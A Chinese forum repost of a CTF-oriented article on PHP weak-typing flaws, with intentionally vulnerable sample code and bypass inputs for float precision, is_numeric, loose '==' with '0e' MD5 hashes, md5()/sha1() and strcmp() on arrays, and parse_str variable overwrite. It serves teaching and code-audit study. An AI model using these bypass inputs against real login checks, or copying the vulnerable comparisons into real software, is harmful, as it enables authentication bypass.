搜索
查看: 554|回复: 1

PHP代码安全杂谈

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-2-12 11:04:24 | 显示全部楼层 |阅读模式
原文链接:http://www.freebuf.com/articles/rookie/161474.html

[/url]

虽然PHP是世界上最好的语言,但是也有一些因为弱类型语言的安全性问题出现。WordPress历史上就出现过由于PHP本身的缺陷而造成的一些安全性问题,如[url=https://nvd.nist.gov/vuln/detail/CVE-2014-0166]CVE-2014-0166 中的cookie伪造就是利用了PHP Hash比较的缺陷。 当然一般这种情况实战中用到的不是很多,但是在CTF竞赛中却是一个值得去考察的一个知识点,特此记录总结之。

一、精度绕过缺陷
理论

在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。下面看一个有趣的例子:

[/url]

以十进制能够精确表示的有理数如 0.1 或 0.7,无论有多少尾数都不能被内部所使用的二进制精确表示,因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果:例如,floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118…。

实践

问鼎杯2017 老眼昏花网上很多write-up感觉就像是看着答案写write-up,个人感觉真正的write-up中应该体现自己的思考在里面。

题目描述

[url=http://image.3001.net/images/20180127/15170519199340.jpg]

题目言简意赅,让我们把2017这个值传递给服务器

考察点
  • PHP浮点精确度
write-up

what year is this?所以第一反应是直接给year参数赋值为2017:

  1. ?year=2017
复制代码

然而结果如下:
[/url]
有提示了,说明year这个参数是对的,但是2017中不可以出现7,这里如果不了解php精度的话,肯定是对2017进行各种编码绕过,但是这里对编码也进行过滤了:

[url=http://image.3001.net/images/20180127/15170527294279.png]
所以最后一种可能就是利用PHP精度来绕过:

  1. ?year=2016.99999999999
复制代码

[/url]

二、类型转换的缺陷理论

PHP提供了is_numeric函数,用来变量判断是否为数字。PHP弱类型语言的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval数字化再比。

实践

is_numeric()用于判断是否是数字,通常配合数值判断。

案例代码
  1. <?php
  2.     error_reporting(0);
  3.     $flag = 'flag{1S_numer1c_Not_S4fe}';
  4.     $id = $_GET['id'];
  5.     is_numeric($id)?die("Sorry...."):NULL;   
  6.     if($id>665){
  7.         echo $flag;
  8.     }
  9. ?>
复制代码
考察点
  • PHP类型转换缺陷
write-up

分析下代码:首先对GET方式提交的参数id的值进行检验。id通过is_numeric函数来判断是否为数字,如果为数字的话,GG。如果不是数字的话,和665进行比较,id的值大于665的时候输出flag。
乍看上去又好像不可能这里,但是如果知道PHP弱类型语言的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval数字化再比。这个特性的话就可以很好的绕过。

  1. http://localhost/?id=666gg
复制代码

[url=http://image.3001.net/images/20180128/15171303549975.png]

三、松散比较符的缺陷理论

php比较相等性的运算符有两种,一种是严格比较,另一种是松散比较。

  1. 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
复制代码

[/url]
严格比较符严格比较符,会先判断两种字符串的类型是否相等,再比较。

[url=http://image.3001.net/images/20180127/15170583823430.png]

松散比较符松散比较符,会先将字符串类型转换成相同,再比较。

  1. ==   //等于
  2. !=   //不等
复制代码

[/url]
PHP 会根据变量的值,自动把变量转换为正确的数据类型。这一点和C 和 C++ 以及 Java 之类的语言明显不同。虽然这样PHP方便了程序员,但是随之而来却会带来一些安全性的问题。

一个简单的例子
  1. <?php
  2.     $a = null;
  3.     $b = false;
  4.     echo $a==$b;
  5.     echo "<br>";
  6.     $c = "";
  7.     $d = 0;
  8.     echo $c==$d
  9. ?>
复制代码
由于php对变量自动转换的特性,这里面的
  1. $a==$b 与 $c==$d 均为真
复制代码

所以页面输出的结果为:

[url=http://image.3001.net/images/20180123/15167004076555.png]

一个深入的例子[/url]

下面结合PHP 相等性比较缺陷再解释下会好懂一点:

这里比较特殊,字符串中出现了0e,PHP手册介绍如下:

实践

md5绕过(Hash比较缺陷)南京邮电大学网络攻防训练平台中一道比较经典的md5 collision题,关于这道题目的WriteUp网上很多,但是真正深入分析的少之又少~~

题目描述

[url=http://chinalover.sinaapp.com/web19/]md5 collision源码

  1. <?php
  2.     $md51 = md5('QNKCDZO');
  3.     $a = @$_GET['a'];
  4.     $md52 = @md5($a);
  5.     if(isset($a)){
  6.         if ($a != 'QNKCDZO' && $md51 == $md52) {
  7.             echo "nctf{*****************}";
  8.         } else {
  9.             echo "false!!!";
  10.         }
  11.     }
  12.     else{
  13.         echo "please input a";
  14.     }
  15. ?>
复制代码
考察点
  • 简单的PHP代码审计
  • PHP弱类型的Hash比较缺陷
write-up

从源码中可以得输入一个a的参数的变量,a首先不等于QNKCDZO并且a得md5值必须等于QNKCDZO加密后的md5值。 乍一看好像不可能存在这样的值,但是这里QNKCDZO加密后的md5值为0e830400451993494058024219903391 这里是0e开头的,在进行等于比较的时候,PHP把它当作科学计数法,0的无论多少次方都是零。 所以这里利用上面的弱类型的比较的缺陷来进行解题:?a=s155964671a

[/url]

字符串加密后md5为0exxxx的字符串(x必须是10进制数字)列表

四、sha1() md5()加密函数漏洞缺陷理论

md5()和sha1()对一个数组进行加密将返回 NULL

实践

Boston Key Party CTF 2015: Prudential

题目描述
  1. I dont think sha1 isbroken.Prove me wrong.
复制代码

题目给了一个登陆框:

[url=http://image.3001.net/images/20180128/15171202342826.png]

考察点
  • sha1()函数漏洞缺陷
write-up

源代码给出如下:

  1. <html>
  2. <head>
  3.     <title>level1</title>
  4.     <link rel='stylesheet' href='style.css' type='text/css'>
  5. </head>
  6. <body>

  7. <?php
  8. require 'flag.php';
  9. if (isset($_GET['name']) and isset($_GET['password'])) {
  10.     if ($_GET['name'] == $_GET['password'])
  11.         print 'Your password can not be your name.';
  12.     else if (sha1($_GET['name']) === sha1($_GET['password']))
  13.       die('Flag: '.$flag);
  14.     else
  15.         print '<p class="alert">Invalid password.</p>';
  16. }
  17. ?>

  18. <section class="login">
  19.     <div class="title">
  20.         <a href="./index.txt">Level 1</a>
  21.     </div>

  22.     <form method="get">
  23.         <input type="text" required name="name" placeholder="Name"/><br/>
  24.         <input type="text" required name="password" placeholder="Password" /><br/>
  25.         <input type="submit"/>
  26.     </form>
  27. </section>
  28. </body>
  29. </html>
复制代码

分析一下核心登录代码如下:

  1. if ($_GET['name'] == $_GET['password'])
  2.     print 'Your password can not be your name.';
  3. else if (sha1($_GET['name']) === sha1($_GET['password']))
  4.     die('Flag: '.$flag);
复制代码

GET类型提交了两个字段name和password,获得flag要求的条件是:

  • name != password
  • sha1(name) == sha1(password)

这个乍看起来这是不可能的,但是这里利用sha1()函数在处理数组的时候由于无法处理将返回NULL可以绕过if语句的验证,if条件成立将获得flag。 构造语句如下:

  1. ?name[]=a&password[]=b
复制代码

这里符合了2个拿到flag的条件:

  • a不等于b
  • name和password由于是数组,经过sha1()函数嫁给后都返回NULL

拿到flag: I_think_that_I_just_broke_sha1

拓展总结

经过验证,不仅sha1()函数无法处理数组,这里md5()函数也有同样的问题,在处理数组的时候,都将返回NULL
测试代码如下:

  1. <?php
  2. error_reporting(0);
  3. $flag = 'flag{I_think_that_I_just_broke_md5}';
  4. if (isset($_GET['username']) and isset($_GET['password'])) {
  5.     if ($_GET['username'] == $_GET['password'])
  6.         print 'Your password can not be your username.';
  7.     else if (md5($_GET['username']) === sha1($_GET['password']))
  8.         die($flag);
  9.     else
  10.         print 'Invalid password';
  11. }
  12. ?>
复制代码

这里面的核心代码如下:

  1. if ($_GET['username'] == $_GET['password'])
  2. 并且得满足:
  3. if (md5($_GET['username']) === sha1($_GET['password']))
复制代码

同样利用md5()函数无法处理数组的这个漏洞,构造get请求拿到flag:

  1. ?username[]=a&password[]=b
复制代码

[/url]

五、字符串处理函数漏洞缺陷理论
  • strcmp()函数:比较两个字符串(区分大小写).

用法如下:

  1. int strcmp ( string $str1 , string $str2 )
复制代码

具体的用法解释如下:

  1. 参数 `str1`第一个字符串。
  2. 参数 `str2`第二个字符串。
  3. 如果 `str1` 小于 `str2` 返回 `< 0`;
  4. 如果 `str1` 大于 `str2` 返回 `> 0`;
  5. 如果两者相等,返回 0。
复制代码

这个函数接受到了不符合的类型,例如数组类型,函数将发生错误。但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。

  • ereg()函数:字符串正则匹配。
  • strpos()函数:查找字符串在另一字符串中第一次出现的位置,对大小写敏感。

这2个函数都是用来处理字符串的,但是在传入数组参数后都将返回NULL。

实践

Boston Key Party CTF 2015: Northeastern Univ

题目描述

Of course, a timing attack might be the answer, but Im quite sure that you can do better than that. 题目给了一个登陆框:

[url=http://image.3001.net/images/20180128/15171245693910.png]

考察点
  • 字符串处理函数漏洞缺陷
write-up

给出源代码如下:

  1. <html>
  2. <head>
  3.     <title>level3</title>
  4.     <link rel='stylesheet' href='style.css' type='text/css'>
  5. </head>
  6. <body>

  7. <?php
  8. require 'flag.php';

  9. if (isset($_GET['password'])) {
  10.     if (strcmp($_GET['password'], $flag) == 0)
  11.         die('Flag: '.$flag);
  12.     else
  13.         print '<p class="alert">Invalid password.</p>';
  14. }
  15. ?>

  16. <section class="login">
  17.         <div class="title">
  18.                 <a href="./index.txt">Level 3</a>
  19.         </div>

  20.         <form method="get">
  21.                 <input type="text" required name="password" placeholder="Password" /><br/>
  22.                 <input type="submit"/>
  23.         </form>
  24. </section>
  25. </body>
  26. </html>
复制代码

分析一下核心登录代码如下:

  1. if (strcmp($_GET['password'], $flag) == 0)
复制代码

这里使用了==松散比较了$flag和通过GET方式提交的password的值,如果想等的话,拿到flag。这里用的是==松散性质的比较,再利用字符串处理数组时将会报错,在5.3之前的php中,显示了报错的警告信息后,将return 0。所有这里将password参数指定为数组,利用函数漏洞拿到flag:
[/url]

拓展总结

除了strcmp()函数外,ereg()和strpos()函数在处理数组的时候也会异常,返回NULL。测试代码如下:

  1. <?php
  2.     error_reporting(0);
  3.     $flag = 'flag{P@ssw0rd_1s_n0t_s4fe_By_d0uble_Equ4ls}';
  4.     if (isset ($_GET['password'])) {  
  5.         if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
  6.             echo 'You password must be alphanumeric';  
  7.         else if (strpos ($_GET['password'], '--') !== FALSE)  
  8.             die($flag);  
  9.         else  
  10.             echo 'Invalid password';  
  11.     }  
  12. ?>
复制代码

将参数password赋值一个数组传递进去:

  1. http://localhost/?password[]=gg
复制代码

ereg()函数是处理字符串的,传入数组后返回NULL,NULL和 FALSE,是不恒等(===)的,满足第一个if条件;而strpos()函数也是处理字符串的,传入数组后返回NULL,NULL!==FALSE,满足条件,拿到flag:
[url=http://image.3001.net/images/20180128/15171277886030.png]

六、parse_str函数变量覆盖缺陷理论

parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量。

  1. void parse_str ( string $str [, array &$arr ] )
复制代码

str 输入的字符串。
arr 如果设置了第二个变量 arr,变量将会以数组元素的形式存入到这个数组,作为替代。

实践

测试代码:

  1. <?php
  2. error_reporting(0);
  3. $flag = 'flag{V4ri4ble_M4y_Be_C0verEd}';
  4. if (empty($_GET['b'])) {
  5.     show_source(__FILE__);
  6.     die();
  7. }else{
  8.     $a = "www.sqlsec.com";
  9.     $b = $_GET['b'];
  10.     @parse_str($b);
  11.     if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
  12.         echo $flag;
  13.     }else{
  14.         exit('your answer is wrong~');
  15.     }
  16. }
  17. ?>
复制代码
考察点
  • parse_str变量覆盖缺陷
write-up

找到核心代码:

  1. @parse_str($b);
  2. 这里使用了parse_str函数来传递b的变量值
  3. if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
  4. 这里用到的是文章上面的知识点md5()函数缺陷
复制代码

因为这里用到了parse_str函数来传递b,if的语句的条件是拿$a[0]来比较的,有因为这里的变量a的值已经三是固定的了:

  1. $a = "www.sqlsec.com";
复制代码

这里其实是我博客地址~~ 不过不重要。 整体代码乍看起来又不可能,但是利用变量覆盖函数的缺陷这里可以对a的变量进行重新赋值,后面的的if语句再利用本文前面提到的md5()比较缺陷进行绕过:

  1. http://localhost/?b=a[0]=240610708
复制代码

[url=http://image.3001.net/images/20180128/15171333801974.png][/url]

参考文献
  1. PHP 比较运算符
  2. PHP Float 浮点型
  3. PHP 类型比较表
  4. PHP 弱类型总结
  5. PHP Hash比较存在缺陷,影响大量Web网站登录认证、忘记密码等关键业务
  6. PHP代码审计片段讲解(入门代码审计、CTF必备)
  7. 浅谈PHP弱类型安全
  8. NJCTF2017 线上赛 web 题解
  9. CTF之PHP黑魔法总结
  10. Some features of PHP in CTF
  11. PHP浮点数运算精度的问题
  12. php strcmp()漏洞
  13. 危险的is_numeric——PHPYun 2015-06-26 二次注入漏洞分析
  14. 【代码审计】变量覆盖漏洞详解
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表